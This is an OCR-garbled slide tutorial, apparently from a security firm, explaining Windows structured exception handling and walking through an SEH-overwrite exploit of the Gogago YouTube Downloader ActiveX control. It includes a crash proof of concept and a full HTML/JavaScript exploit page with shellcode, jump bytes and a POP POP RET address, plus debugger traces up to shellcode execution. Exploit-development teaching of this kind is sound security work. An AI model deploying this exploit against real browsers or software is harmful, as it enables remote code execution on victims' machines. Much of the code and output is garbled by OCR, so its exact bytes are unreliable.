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What is an exception

* An exception is an event that occurs during the execution of a program

* Requires the execution of code outside the normal flow of control
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Structured Exception Handling

Blocks of code are encapsulated, with each block having one or more associated
handlers.

Each handler specifies some form of filter condition on the type of exception it
handles

When an exception is raised by code in a protected block, the set of corresponding
handlers is searched in order, and the first one with a matchingfilter condition is
executed

A single method can have multiple structured exception handling blocks, and the
blocks can also be nested within each other
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Exception pointers structure ¢,

Contains an exception record with a machine-independent description of an
exception

A context record with a machine-dependent description of the processor context at
the time of the exception

typedef =struct _EICEFTION_FPOINTERS {
FEXCEFTIOHN_RECOED ExceptionFecord:
PCONTEXET ContextRecord:

+ EXCEPTION_POINTERS, *=PEXCEPTION POINTERS:
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Exception pointers structure

A pointer to the next exception registration structure

A pointer to the address of the actual code of the exception handler
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Thread information block

The Thread Information Block (TIB) is a data structure in Win32 that stores
information
about the currently running thread

At the position FS:[0x00] we found the current exception handler

Contents of the TIB

Position Length Windows Versions | Description

F5:[0=00] 4 WinYx and NT| Current Structured Exception Handling (SEH) frame
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Dumping SEH chain in Inmunity debugger

Address |(Hex dunp
HHA13FEE4

A1 3FEFC
BE13FFA4
A1 3FFAC
AA13FF14
AA13FF1C
AE13FF24
AA13FF2C
HA13FF34

A1 3FF4C
A1 3FF54
A1 3FFSC
AA13FFG64
A813FF6C

A1 3FF74
A1 3FF?C
HA13FFE4

AA13FF?C
A813FFA4
A1 3FFAC
AA13FFB4
HA13FFBC
BE13FFC4
AA1L3FFCC
A1 3FFD4
B81 3 FFDC

AA13FFEC
A81 3FFF4
BE13FFFC

E fs:|l]| |

GClose program <ALlt+F2)>
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How SEH works?

The exception handlers are linked to each other

They form a linked list chain on the stack, and sit relatively close to the bottom of the
stack

When an exception occurs, Windows retrieves the head of the SEH chain walks
through the list and tries to find the suitable handler to close the application properly
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Abusing the SEH

When exploiting an SEH overwrite and attacker clobbers the handler attribute of the
EXCEPTION_REGISTRATION_RECORD with the address of an instruction sequence
similar to POP POP RET

When the exception occurs, this causes Windows to pass execution to this address,
which subsequently returns to the location on the stack of the Next attribute of the

EXCEPTION_REGISTRATION_RECORD

The Next attribute is also controlled by the attacker, but if we recall the stack layout
from earlier, the Next attribute is below the Handler attribute

This limits the attacker to 4 bytes before running into the Handler address he
previously supplied to originally obtain code execution

However, by overwriting the Next attribute with the instructions that jump the Handler
attribute, the attacker typically has enough room for arbitrary shellcode, and this is
exactly what happens
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Overwriting the Next SEH record and SE
handler

*  To check a chain of exception handlers before and after an overflow we can use

WinDbg !exchain command

* At the left we can see the SEH chain and the stack before the overflow occurs

* At the right we can see the pointers were successfully overwritten

0:008: lexchain
D15td044: whscript! ezcept handlerd+0 (73222230%
I15td¢88; whecript! except_handlerd+l (Vidadail)
015fdded: TSER3Z!_emcept_handlerid+0 (7edc048f)

CRT scope 0, func: USER3Z2 | UzerCallVinProcCheckWow+155 (7elcactb)
015fddcd: USER32! except _handlerid+0 (7eic048f)
015fffde: kerneld2! except _handler3+0 ({7c83%adf)

CRT scope 0, filter: kerneli?!BaseThreadStart+3d (7c83ab40)

func: lkernel3? | BaseThreadStart+4e {(7cB3iabbe)

Invalid exception stack at ffffffff

B Memory - Pid 940 - WinDbg:b.

| virtual: [015£d040

|JDEphyFDrmah

015fd044: MDIEEx!D]1UnregisterServer+leald (03ebhl6d2)

0:008: lexchain

Invalid exception =taclk at 909006=h

B Memory - Pid 940 - WinDbg:6.

| virtual; [015£4040

|JDEphyannah

015fd040 015fdld=s «<Unloaded lu=s.dll:+0x15fdl4b
015fd044 |015£fd288| <Unloaded_lu=s . dl1l:+0x15£{d4287
015£d048 |Y32a2a30| vbecript | except handlerd

015fd040 E1616161

015fd0dd [A09006ebh
N015£d048 |03eb2ed2| MDIEEx | D1l lUnregisterServer+0xzle0d
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What are we overwriting?

When we performs a regular stack based buffer overflow, we overwrite the return
address of the Extended Instruction Pointer (EIP)

When doing a SEH overflow, we will continue overwriting the stack after overwriting
EIP, so we can overwrite the default exception handler as well
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Viewing the SEH before the overflow

* Before the overflow occurs we can see the stack and the SEH chain.

*  The SEH chain starts from 0x015fd044 down to 0x015fffdc which indicates the end of
the SEH chain

* Directly below 0x015fffe0, we see 0x7c839ad8, which is the address of the default SE
handler for this application. This address sits in the address space of kernel32.dll

P3O 2720 -
Offset: |@sscape D | virtual: [0154 £ £dc
770f5bea 85c0 test 2AH . 8aH 015fffcc 7E££d45000
770f5bec 8bf9 now edi, ecx 015£ffd0 8af31600
770£5bee 740e je OLEAUT32ICTypelib2  :~CTypelib2+0x95 (770f5bie) 015fffd4 015fffcl <Unloaded_lus. dll>+0x15ff
770£5bf0 8bdi mow ehx . eax 015fffdg 897£3638
770f5bf2 8bO7 nov eax.dword ptr [edi] c
770f5bf4 B5=0 test =ax . eax D15fffel 7cBi9ad8| kern=el32! except_handlerd
770f5bfe 7516 ine OLEAUT32 1 CTypelibZ  :~“CTypelib2+0x89 (770£f{5cle) ] [=t kern=l32 ! string ' +0x88
770£5bE8 83c704 add edi 4 015fffed 00000000
770£5bfb 4b dec ebx 015fffec 00000000
770£5bfc 75f4 ine OLEAUT32ICTypelib2  :~CTypelib2+0x83 (770f5bi2) 015££££0 00000000
770£5bfe ffh&cO010000 push dword ptr <Unloaded_lus.dll>+0=x1bf (000001c0)[e=i] 015ffff4 40cableb iertutil!CIsoScope: Regis
770£5c04 =832f7feff call OLEAUT32 | HenFree (770=2533b) 015££££8 00160008 <Unloaded_lus.dllx+0x1600
770£5c09 =99ffoffff jnp OLEAUT32 | CTypelibl i ~CTypelib2+0xal (770f58ad) 01&8ffffc 00000000
770£5c0= 8b o ecx,dvord ptr [eax] 01600000 00905ad4d <Unloaded lus.dll:+0=9%05a
770£5210 50 push =ax 01600004 00000003 <Unloaded_lus.dll>+0x2
770£5c11 ££5108 call dyord ptr [ecz+8] 01600008 00000004 <Unloaded_lus. dll>+0x3
770£5c1d ehe? jmp OLEAUT32ICTypelib2  :~CTypelib2+0=x8f (770f5bi&) 0160000c 0000ffff <Unloaded_lus.dll>+0xfffe
OLEAUT32 1 DispCallFunc: 01600010 000000b8 <Unloaded_lus.dllx+0=xb?
770£5c16 55 push =bp 01600014 00000000
770£5c17 Bhec o =bp.esp 01600018 00000040 <Unloaded lus.dll:+0=3f
770£5c19 83cdfc add e=p, 0FFFFFFFCh 0160001c 00000000
770f5clc 56 push es1 01600020 00000000
770£5c1d 53 push ehx 01600024 00000000
770£5cle 8365fc mow dword ptr [ebp-4].esp 01600028 00000000
770£5221 0fh74514 MOVEE sax. word ptr [ebp+1dh] 0160002c 00000000
770£5c25 25ffdfffff and zax . IFFFFDFFFh 01600030 00000000
770f5c2a 83817 chnp =ax.17h 01600034 00000000
770£5c2d 0f8759940100 ja OLEAUT32 1 DispCallFunc+0x238 (7710£08c) 01600038 00000000
770£5c33 0fb74510 NOVEHE =ax,.word ptr [ebp+10h] 0160003c 0000000 <Unloaded lus.dll:»+0xbf
770£5c37 ghddls mow ecx, dvord ptr [sbp+18h] 01600040 Oebalfle <Unloaded_lus.dll:+0xzebal
770£5c3a 83801 cmp eax, 1 01600044 =dD9b400
770£5=3d 7409 je OLEAUT32 1 DispCal lFunc+0x32 (770£5c48) 01600048 4c01b821 «<Unloaded_lus.dllx+0x4c0l
770£5c3f 83f804 chnp =ax. 4 0160004c 685421cd
770£5c42 0f8544940100 ine OLEAUT321DispCallFunc+0x238 (7710£08c) 01600050 70207369
FINFL-AR Nhed A mew ae 01600054 F2ET6E72
= 01600058 63206d61
ES(Eommand SR Vi 0160005c 6E6ebebl
0:008> !exchain 01600060 65622074
015fd044 | vhbscript!_except_handleri+0 (732a2230) 01600064 62757220
015fd288] vhecript|_except_handlerd+0 (732a2230) 016000658 20626920 <Unloaded lus.dll:+0x206e
015fddad | USER3Z2 | _except_handler3+0 {7e3cl48f) 0160006c 20534f44 <Unloaded_lus.dll:+0x2053
CRT =cdpe 0. func: TSER3Z | TserCal 1¥inProcCheckWow+155 ( 7edcacth) 01600070 656d6fed
015fddc4{ USER32 | _except_handler3d+0 (7e3cl48f) 01600074 0al0dldZe <Unloaded_lus.dll:>+0=za0dl
D15fffdcq kernsl3Z2!_except_handler3+0 (7c83%ads) 01600078 00000024 <Unloaded lus.dlls>+0=23
CRT scdpe 0, filter: kernelli?|BaseThreadStart+3d (7c83abdi) 0160007c 00000000
func: kerneli? |BaseThreadStart+4e (7c83abbe) 01600080 dadllze?d
Invalid exception =taclk at ffff£ffff 0le00084 89hi732d
0:008> d 015fffdc 01600088 89bf732d
c d8 9a 83 7c-30 b7 80 7c 00 00 00 00 0160008c 23bi732d
U1Gftfec 00 00 OO0 00 00 00 OO0 00-6b 51 ca 40 08 00 16 00 01600030 &3el7cee
01Gffffc 00 00 00 00 4d Sa 90 00-03 00 00 00 04 00 00 00 01600094 B9bf732c
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Viewing the SEH after the overflow

Dumping the TIB confirms that the SEH was overwritten
Code execution is successfully passed to the injected address 0x61616161

Addresses 0x015fd044 and 0x015fd048 which were the Next SEH record and SE
handler are now controlled.

(Ol =
Prevous | Mew || |virtual: [0155d044

TofdNdd 61616161

1CFAN4R G1R1A1R
B1R1B16Z CEkd 015£d04c 61616161
B1616163 27 227 015£d050 61616161
61616164 77 297 0155d054 22816161
61616165 77 n155d05& 73256300
61616168 77 T 0155d05c 015£d220
G1E16167 77 777 015£d060 003chelc
B1G16165 77 277 015£d064 00325148
B1616163 27 227 015£d068 003cdect
B161616a 27 299 015£d06c D15£d2a8
61616160 77 277 015£d070 00000002
6161616c 77 297 . N155d074 FEEEEEFE
Gl61616d 77 277 EIP point to 0x61616161, 015£d076 003ci£98
B161616e 77 237 015£d07c 003cb550
B161616F 77 297 so we can control the flow 015£4080 00000001
B1616170 27 999 015£d084 00000000
61616171 77 797 of the program 015£d088 003cel108
61616172 77 277 015£d08c ON3ceing
61616173 77 277 01554090 003c=128
61616174 77 77 015£fd094 003cffbie
B1616175 77 277 015£d098 00000000
B1616176 27 227 015£d09c 003=d9bs
61616177 77 277 0155d0a0 00000000
61616170 77 277 N15td0a4 ON3cfefs
61616179 77 277 . 015£d0=f 003ceing
61616172 77 777 Pointer to the Next record 015£d0ac 00000000
61616170 77 277 015£d0b0 EffEEEEE
61616170 27 227 and SEH handler was 015:d0b4 00000000
6161617d 77 299 : 0155d0bE 00000000
6161617 77 777 overwritten 015£d0be 00AG00A0
G1E1617E 77 277 0155d0sn 015£d00c
61616180 77 777 015td0=4 000ODOND
B1R161E1 77 277 015£d0c8 015£d220

015£d0cc 00000000
015£d0d0 D1SEcE1s
=1olx|la155dnds 732522a8

0.008> d f=.[0] 015£d0d8 015(d044
003b: 00000000 "lc ae S5f 0100 0060 N1-00 00 S 01 00 00 00 00 .._... . .._..... 015£d0ds 00000000
0 0

030 00000010 00 1e 00 00 00 00 00 DO-Uu ooro nTipao nn nn ng . g%ggggeg ggégaégg
003L:00000020 £0 06 00 00 84 Of 00 00-00 00 00 00 UL o - : =
003L: 00000030 00 b0 £4 7€ 00 00 00 0DD-00 00 00 00 00 00 00 OO0 TIB dumplng let us know 015£d0e8 015fd12c
003b:00000040 c0 3 05 =4 00 00 00 00-00 00 00 00 00 00 00 00 ............. S . 015fd0ec 0l5fd2el
00%b.00000050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ............ . the SEH chain was g%gggggg ggg?gggg
003b. 00000060 00 00 00 00 00 OO0 00 00-00 00 00 00 00 00 00 00 ............ . .

h. 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 sucessfully overwritten 015£40£8 00243cf8

015£d0fc 015£4110
015£d100 003cel0g
015£d104 0030009
015£d108 015fd124
015fd10c 02235968
015£d110 003cd=s24
015£d114 003cele8
015£d118 003c££23
015£dllc 003cfefd

ooooogzo

0:008> d 015faslc
015f=e=lc 44 d0 5f 01| be 32 91 7c-44 d0 5f 01 d8 a= 5f 01
015fas2c  7a 32 91 7c £0 as 5f 01-44 d0 5f 01 Oc af S5f 01
015fas3c o4 as 5f 01 61 61 61 61-96 11 00 00 f0 as 5f 01
015faesdic 44 d0 S5f 01 3 a8 93 7c-i0 as= 5£ 01 44 d0 5 01
015fasbc Oc af 5f 01 c4 a= 5f 01-61 61 61 61 36 11 00 00
015fashc £0 as 5f 01 54 61 61 A1-37 00 37 00 00 9b 32 =2
01G6f==?= 00 9b 32 =2 00 65 o=d 14-00 65 =d 1d 00 9b 32 =2

—00 65 cd 14 00 00 0O 00

0:008> d 015£d044 015£d120 00000001

61 61 61 61 61 61 61l 61-61 61 61 61 61 61 61 61 aaasaasaassaaszaa 015£d124 003cfcad
015£d054 61 61 ZZ 00 63 25 73-20 dZ 5£ 01 lc be 3c 00 aaa".cis ._...< 015£d4128 7325312c
015£fd064 d& 51 3c 00 cof dé 3c 00-ad dZ 5 01 02 00 00 00 Q< < _ 015fd1zc 00000000
015£d4074 £f £f £f £f 98 £f 3c 00-50 bS 3c 00 01 00 00 00 <. P.< 015£d4130 00000000
015£d084 00 00 00 00 08 =1 3c 00-08 el 3c 00 28 =1 3c 00 T N T 015£d134 00000000
015£d4094 b8 £f 3c 00 00 0O 0O 00-b8 d9 3c OO0 00 OO0 OO 00 S 015£d138 00000000
015£d0a4 £8 fe 3c 00 08 el 3c 00-00 00 OO OO0 £f Ef £f £f P 015£d13c 00000000

015£d0b4 00 00 00 OO0 00 00 00 00-00 0O 00 00 Oc d0 5 01 e 015£4140 003chels
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See an exception analysis

The command lanalyze —v in Windbg give us more details about the triggering of the
exception

FAULTIHG_IF:
OLEATUT3Z2 | Sy=FreeString+45
770=48a4 Ebile now ecx,.dvord ptr [e=si]

HXCEPTION_RECORD: O0l5fasfl0 —— (. .exr OxlSfasfl)
S {mr=u) A A} ) Teme | CEY-ED Top=Frecstring+0=z00000045%
ExceptionCode: 0000005 {(Access wviolation)
EzceptionFlags: 00000000
HumberFParamnsters: 2
Parameter[0]: 00000000
Parameter[1]: 6lelel15d
Attemot to read from address 61616154

[P COH_HEAF: 61616161

TF IN_FREE _BLOCEKE: 61616161

CONTEXT: 015faflc — { c=r O0xlG5faflch

2ax=0016661%8 =bx=00000000 =ecx=00000002 =dx=0044008b =e=si=6l6l6l5d =di=000011%¢&
eip=770ed48ad e=p=015{ibld8 =bp=015{f{bldc jopl=0 nv up i pl nz na pe nc
c==001b ===0023 d==0023 e===0023 f{==003Lb g==0000 =f1=0001020¢6
OLEAUT3Z2 |Sy=FresString+0x45:

77024824 Bhie mow ec®,.dword ptr [e=si] d=:0023:6161615d=777277777

Re=stting defsult =cope

FRIMARY PROELEM CLASS: HMEMORY _CORRUPTION

BUGCHECE _STR: APPLICATION_FAULT MEMCORY CORRUFTION_INVALIL POINTEERE _READ BAD INSTREUCTICOH_PTE
0:008> d f£f=:[

003b: oo _ [
003b: L
003b: L
003b: oo L
003b: oo .
003b: L
003b: oo L
003b: oo L
0:008> d A

015faelc _..2.|D._ _
015faes2 | D _
015fa=3y aaaa. ...
015faeyc _ |.._.D._
015fae=k _ .aaaa

015f apbc R laaa? . 7 2
015f=a=7c 2. e 2
015faesic 2o e

0:008x 4 015fd044
015fd044 |61 &1 61 61 £1 &1 E1 BI1FE1 61 &1 61 61 61 61 61 asssasssssasssas

015fd0os4 &1 61 61 22 00 63 25 73-20 dZ2 5f 01 1lc be 3c 00 aaa".cxs . _...<.
015fdo6d4 d8 51 3c 00 <8 d6 3c 00-a8 d2 5f 01 02 00 00 00 Q<. ..<..._.....
015fdo74 f£f £f £f £f 98 f£f 3c 00-50 bS5 3c 00 01 00 OO 00 ...... < Poalo
015£4084 00 00 00 00 08 =l 3c 00-08 el 3c 00 28 =1 3c 00 ... ... LOTIPRE G R O
015fd094 b8 £f 3c 00 00 00 OO0 00-b%® d% 3c OO0 00 OO0 OO 00 ..<....... LOURE
015fd0a4 £8 f= 3c 00 08 =1 3c 00-00 OO OO0 OO0 f£f £f £f ff P

015fd0b4 00 00 00 00 OO 00 00 00-00 0O 00 00 0Oz 40 5 01 ... ..........
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How SEH base exploit works

When the exception is triggered the program flow go to the SE Handler

All we need is just put some code to jump to our payload

Faking a second exception makes the application goes to the next SEH pointer

As the Next SEH pointer is before the SE handler we can overwrite the Next SEH
Since the shellcode sits after the Handler, we can trick the SE Handler to execute POP

POP RET instructions so the address to the Next SEH will be placed in EIP, therefore
executing the code in Next SEH

The code will basically jump over some bytes and execute the shellcode

POP - POP - RET|

Ve

[Evil buffer] [Next SEH] [SE Handler] [Payload]
-_:-‘-'-':""

Jump to Shellcode
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Exploiting the application

We will exploit a vulnerability in Gogago Youtube Downloader Video ActiveX
www.gogago.net/download/youtube_video_downloader_setup.exe

A buffer overflow is triggered after injecting more that 2230 bytes in the Download()
function

This vulnerability could be exploited using a basic RET CALL technique

We will use SEH based exploitation which is also functioning in this particular case
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Creating the POC

We craft an html page calling the method Download using the CLASSID

<html>
<object classid='clsid:7966L32A-5783-4F0E-524C-02077C023080" id='target' jfjfobject:-

<input language=VEZcript onclick=Eocom() type=button value="3xploit-Me':-
<script language='wvhscript'>

ZJub Boom ()
Junk = 3tring (2250, "a"
target.Download junk
End Sub
<fsoript>

< fhtml>

(c04 . £f8): Access wiolation — code 0000005 (first chance)
Firzt chance exceptions are reported before any exception handling|

Thiz exception may be expected and handled.

eax=00000000 ebx=00000000 eczx=6l6lelel edx=7c9132bc ==1i=00000000 =di=00000000
e1p=61616161 e=sp=015i83ac ebp=015f33cc 1opl=0 nv up 21 pl =r na pe nc
ce=001b ===0023 d=s=0023 e=z=0023 f{==003b g==0000 ef1=0001024¢6

[EIgi6isl 77 757 ]

INFORMATION SECURITY SOLUTIONS

When we overflow the method with 2250 bytes with junk data we trigger an exception
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Overwriting Next pointer and SE
handler

*  To successfully overwrite the Next Pointer and SE Handler we must calculate the exact
number of bytes to inject

* You can use tools as pattern_create and pattern_search from Metasploit, or you can do
it manually injecting buffers with different patterns
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Finding POP POP RET instructions

In this tutorial we will use WinDBG

[0:008 Im m mdieex|
start end

nodule nane

03eb0000 03ecS000 MDIEEx C (export symbols)
0:008|=s 03eb0000 1 03ech0ll 5f Ge o3

N3eblb?d &5f te =3 8b 04 £fd 94 aZ-eb
|DEE:26d2 5f te c3|8b 4c 24 10 66-8b
03ebifZza G5f te o3 8b =8 83 =0 03-c1
03eb3fd9 5f Ge =3 55 8b ec 83 ec-20
03ebd4f0 5f Se <3 68 40 01 00 00-6a
N3ebdcde 5f Se <3 55 8b ec 51 8b-4d
03eb5799 5f Gte <3 55 8b ec 8b 45-08
03ebt318 5f Se <3 53 8b 5o 24 0c-8b
03ebe585 G5f Gte <3 al aB =3 b 03-83
03eb?52f 5f Se <3 8 %9a 04 00 00-c=7F
03eb?5ba 5f Se <3 56 8b 74 24 08-3b
03eb?607 5f GSe =3 ef o2 O0c 00 O0-c=7
03ebd50f 5f Se c3 8b 44 24 04 3b-05
03eb8bitc 5f Se <3 56 8b 74 24 08-57
03eb8bad 5f Se <3 §3 8b Sc 24 08-3b
03eb8d8z 5f Gte <3 B8 3d £5 ff ff-c=7F
N3eb8e2? G&f te 3 L6 8b 74 24 08-8hb

1003 u Odebldedd
MDIEEx Dl 1UnregisterServer+0zlaid:

13iesbz6d2 &f pop edi
13ebzb6d3 Ge pop 2=l
N3eb2bdd o3 ret

n3
n4
=9
ah
oo
na
13
=3
fa
oo
35
no
0
a3
1d
oo
16

eb
fd
nz
45
ff
53
a3
ib
ff
na
Il
na
&
cf
(sl
na
Nz

fd
ec
74
ne
K
1]
ac
1)
nf
no
0e
no
2C
it
ne
oo
ab

=1
ef
Zhb
Eh
fd
57
a5
g7
a4
oo
ec
on
03
fo
eC
oo
a3

Eh
eb
£3
a9
06
Bh
dn
=1
91
an
0z
an
73
45
03
on
74

f1
na
a7
45
[=lwd
71
=2
=0
oo
=8
73
=8
1f
o
13)
=8
1d

b
Ba
74
=8
na
10
eb
e
oo
98
a0
(]l
b
a3
57
b
ab

PR R P ¥ ¥ ¥ ¥ ¥ ¥ ¥ o or or ¥ oo

Finding opcodes it’s not a difficult task you can use findjump or IDA

We launch our prove of concept and we attach to Internet Explorer. After the overflow
occurs we search the base memory address of the Gogago module MDIEex.dlI

Finally we can search for the opcodes using the s command

C:~Program File=s“Gogago~YouTube

Ds....... =
V. ots. W F
SoNE i)
Vots. F.. . t..
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Building the exploit

After calculating the number of bytes to overwrite the Next pointer and SE handler we
inject 4 bytes of code to jump to our shellcode this will replace the old SE handler

Following the SE handler we inject the POP POP RET opcodes from the same module
of the exploited application

Finally we inject our payload

<html>
<hody>-=

<ohject id=ctrl classid="clsid:{7966A3ZAL-5753-4F0E-§24C-09077C0Z23080} "= fobject>
=<sgcript language='Jjavascript'>

shellcode = unescape ("¥eb%®033%359%eb%05%e83 83 L3 £ L3485 493493495493 49%49%51%5a%56%54%58%36%33%30

function Exploit ()

£

]

wvar size buff = Z367:

war ® = "asaa';
while (®.length < size buff) x += x: Ff Injecting our junk buffer
H = ®.substringi0,size buff):

rar HEXT exception = unescape ("3ehi06520%5207) Jf OTump over 6 bhytes to reach our payload
H += NEXT exception:

var SE = unescape("3d2%Z63eb%03™); ff 03eb26d2 from MDIEEx.dl11 (POP POP RET)
H += IEH:

H += shellcode;

ctrl.Dovwnload{x)

< fsocript>
=<input language=JavaScript onclick=Exploit () type=button value="Go">=

< fhody>=
= fhtml =



& Disassembly - Pid 788 - WinDbg:6.11.0001.404 X856

Oﬁmh|@$scupeip

®
HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

Executing the exploit ¢

*  We place a breakpoint before entering in the vulnerable method. The SE handler that
will be overwritten sits at 0x15fa79c, and corresponds to the jscript.dll module

o S [ m

Previousz I Mext I

03=b3406
03=b3407
03=b3408
03ebidla
03eb340b
03sbid0c

03seb3dnf
03=b3410
03sb3411
03sb3415
03eb341b
03sb3dlc
03sbidle

5f pop edi

S5h pop ebx

33c HOT BaX, AKX

e pPop ezl

=9 leave

c20400 ret 4

57 push edi

ff742410 push dword ptr [esp+l0h]
ff1550aleb0l3 call dword ptr [MDIEEx!D]llUnregisterServer+0x908b (03sbals0)]
51 push ECH

abfo o 251, 88X

Abfc T edi . esn

Command - Pid 788 - WinDbg:6.11.0001.404 %86

B Memory - Pid 3424 - WinDbg:6.11.0001.404 X86

0:008: lexchailn . , —
015fa79. jscript! except handlerdt0 (4047804c [virtual: [015£a792 ~ 10
Ulofaddc: jscript! sxcept_handlerd+U (404 /ulldc) 015fa78c 003ceafl <Unloaded lus.dll:+0x3ceaf?
st oy St (nurlc
aabl: j=cript!_except_handlerd+ c
015fabod - jscript | _except handlerd+0 (4047804c) 015£=794 015f290c <Unloaded lus.dll:+0x15£290b
015fd0fc: jscript!| escept _handlerd+0 (4047804c) 015£5798 00Jcec?l <Unlosded lus.dlle+0xdcechi
015fd2?ac: jscript!_ewcept_handlerd+0 (4047804c) N115fa79z 015fa94c <Unloaded_lu=s.dll:+0x15fa%4b
015fd394: j=cript! except handlerd+0 (40478304c) N15fa?al 4047804c jscript! except handlerd
015fd418: qj=cript! except _handlerd4+0 (4047304c) 015fa7ad4 d09=basa
015fdde4: USEE3Z2!_ except_handleri+0 (7e3ic048f) STt T T Tmmmmmms
CRT zcope 0. func: TSER3Z | TzerCal lWinProcCheckWow+ 155 (7eldcactb)
015fddcd: USER3Z2!_except_handler3+0 (7e3c048f)
015fffdc: kerneli?!_ezcept_handler3+0 (7c83%adi)
CET scope 0, filter: kerneli?!|BaszeThreadStart+3d (7c83abdi)
func: kernel 32 | BaseThreadStart+4de (7c83abhn)
Invalid exception =staclk at ffffffif
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Executing the exploit ¢

After the overflow occurs we successfully overwrites the old jscript SE handler later
code execution will be redirected to our POP POP RET instructions

¥ Disassembly - Pid 3424 - WinDbg:6.11.0001.404 X86 o ]
Oﬁsa:l@SscapEip Previous I Mext |

770e488b 74218 je COLEAUT3Z2 | SysFreeString+0x56 (77024805
770e488d ££3500101a77 pu=sh dword ptr [OLEAUT3Zlg itl=sAppData (771610003%]
77024893 83e=04 =ub e=1,4

77024896 f{15a4120=77 call dyord ptr [QLEAUTIZ! _imp  Tl=GetValue (770sl:Zad)]
7702489 8G5c0 test SaH, 28X

I??DE4893 0f340=0c0000 = QLEAUTIZ2 | SysFreeString+0x20 (770e54b2

77 0edBad 1 =

770ed8ab 23cllt add ecHE, 15h

77024829 83elfl and ecx, 0FFFFFFFOhL

770ed8ac 51 push BECHE

770ed48ad 56 push ezl

770ed4Bae 8bchd now SCH, 24K

770e48b0 =86b010000 call COLEAUT3IZ21APE DATA: :FreeCachedMen (770e4a20)

Command - Pid 3424 - WinDbg:6.11.0001.404 X86 EgMemory - Pid 3424 - WinDbg:6.11.0001.404 X86

|wirtual: [015£a79c — 10

0:008> lexchain
015fa7%=: MDIEEx!DllUnregisterServer+lold (03sb2od2)
Invalid exception stack at 909006sh

015fa78c
015fa7930
015fa794
015f5798
015fa79c
015fa7al

BElelelal
Elelelrl
Blelelal
Blelelal
q909006eb
03seb/6d? MDITEE=ID]1]1TnregisterServen
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Redirect code execution

The code is redirected to our fake SE Handler address

K& Disassembly - Pid 3424 - WinDbg:6.11.0001.404 %86 -0l |
Offset: |@$SCDpEip | Previous I P et |
N3ebZbc? 7411 je HDIEEz D1 1TnregisterServer+0xzl6l0 (03sb?edh)

N3ebZecd B3ce0B add e=1, 8

03iebZec? 47 inc edi

03ebZecd 81fe00f0eb03 Chnp ezl,of fzet MDIEEx!D]llUnregisterServer+0=zdf3b (03ebf000)

N3ebibce 72ed ib MDIEEz D1 1TnregisterServer+lzltef (03sbZebd)

N3sb2ed0 33c0 HOT S5, 2aK

N3sb26d? 1

03eb2ed3 Ge pop ==58

03iebZbdd o3 ret

03eb2edb Bbdci410 nov ecx,dvord ptr [esp+l10h]

03eb2e6d9 668bl4fdecefebls mow ax,word ptr MDIEEx!DllUnregisterServer+0xzdfZ? ((3sbefec)[edi*d]

03ebZbel 6all push 1

03ebZeed 668901 nov yord ptr [ecx].ax

Command - Pid 3424 - WinDbg:6.11.0001.404 %86 _ 0Ol x|

0:008> lexchain

015fa79c: MDIEEx!D1lUnregisterServer+l60d (03sebZed?)

Invalid exception stack at 909006sb

0:008> bp 03ebzedZ

0:008> g

Breakpoint 3 hit

eax=00000000 ebx=00000000 ecx=03eb2bd? edx=7c9132bc e=i=00000000 edi=00000000

eip=03eb?6d? e=sp=015f7e54 ebp=015f7=74 iopl=0 nv up i pl r na pe nc
ce=001b ===0023 d==0023 e==0023 {==003b g==0000 ef1=00000246
MDIEE= D1l UnreqisterServer+0=z160d:

[03sb2edz Gf pop edi]

|D:DDE>|
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Jumping to our payload

* Jumping over 6 bytes to reach ou shellcode starting at address 0x015fa7a4

i Disassembly - Pid 3424 - WinDbg:6.11.0001.404 X86 - Ol =l
Oﬁsﬂ:|@$scnpeip Prewvious I Mext |
015fa?96 Al popad

015fa797 61 popad

015fa792 61 popad

015fa?99 6l popad

015fa?% 6l popad

015fa79b 61 popad

D15fa79z =b0& j

015fa?%9= 90 nop

015fa79f 90 nop

015fa7al dZ2a =zhl byte ptr [e=zi].cl

015fa?a? =bii imp ¢IInloaded_lu=s. dll:+0xl15fa%ab (015fa?a?)

015fa7a4 =b03 imp ¢UInloaded_lu=s.dll:+0x15fa7a8 (015fa7a9)

015fa7a6 59 pop [=Tm):4

Command - Pid 3424 - WinDbg:6.11.0001.404 X86 _|al x|
c==001b ===0023 d==0023 es=0023 {==003b gs=s=0000 ef1=00000246 _:J
MDIEE=z!|DllUnregisterServer+lzlele:

03eb2bd3 Se pop es1

0:008: t

eax=00000000 =bx=00000000 ecx=03eb2td? edx=7c9132bc e=i=015f{7f3c =edi=7c9132a8

eip=03eb?6d4 e=p=015f7e5c ebp=015f7e?4 1opl=0 nv up 21 pl zr na pe nc

c==001b ===0023 d==0023 es=0023 {==003b g=s=0000 ef1=00000246
MDIEEz!DllUnregisterServer+0=z160f :

03eb?6dd =3 ret

o:008:x t

2ax=00000000 =bxz=00000000 ecx=03eb2td? edx=7c9132bc e=i=015f{7f3c =edi=7c9132a8

eip=015fa7?9c e=zp=015f7Y=60 ebp=015f7=74 iopl=0 nv up 21 pl zr na pe nc

c==001b ===0023 d==0023 es=0023 {==003b g=s=0000 ef1=00000246

¢Unloaded lus. dll:+0x15f579b:

qDlEfa?gc eblt jnp ¢Unloaded lus. dll:+0x15fa7a3 (015fa¥ad)

|D:DDB>|
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Shellcode execution

Time to dance ©

Bf Disassembly - Pid 3424 - WinDbag:E
Oﬁsa:|@$scupeip vamahIDISfa?a4
015fa?9b 61 popad 015fa7a4 EEES0S=h
015fa79c =ble Jmp <UInloaded_ lus.dll:+0=x15fa%7a3 (01l5fa7a4d) 015fa7al |ff£8=508
015f=79= 90 nop 015fa7ac |[494fffff
015fa79f S0 nop 015fa7b0 |49494949
015fa7a0 d226 =hl byte ptr [e=i].cl 015fa7h4 [EEEa5149
0l5fa?a? eb03 imp {Inloaded lus. dll:+0xl5fa?ab (015fa7a7) 015fa7bs (33365854
15fa7ad4 =bl03 Imp <Unloaded_lu=s.dll:+0=x15fa72a8 (015fa7a9) 015fa7bc (34585630
15fa%ac 59 pop =CHE 015fa?cO |36423041
15fa7a? eb0b Jmp <Inloaded_lus.dll:+0=xl5fa%ad (01l5fa?aes) 015fa7cd [42304548
15f=729 eBf0ffffff call <Unloaded lu=s.dll:+0xl5fa7a5 (015fa7ab) 015fa?7c8 (432423033
15fa7ae 4Af dec edi 015fa?occ 42325856
15fa7af 49 dec =CH 015fa?d0 [34484244
15fa?b0 49 dec [=Tmy4 015fa7d4 |44413241

015fa7d4d3 54444130

" " ) 015fa?dc 42514442

Command - Pid 3424 - WinDbg:6.1 01Gfa7el 41444130
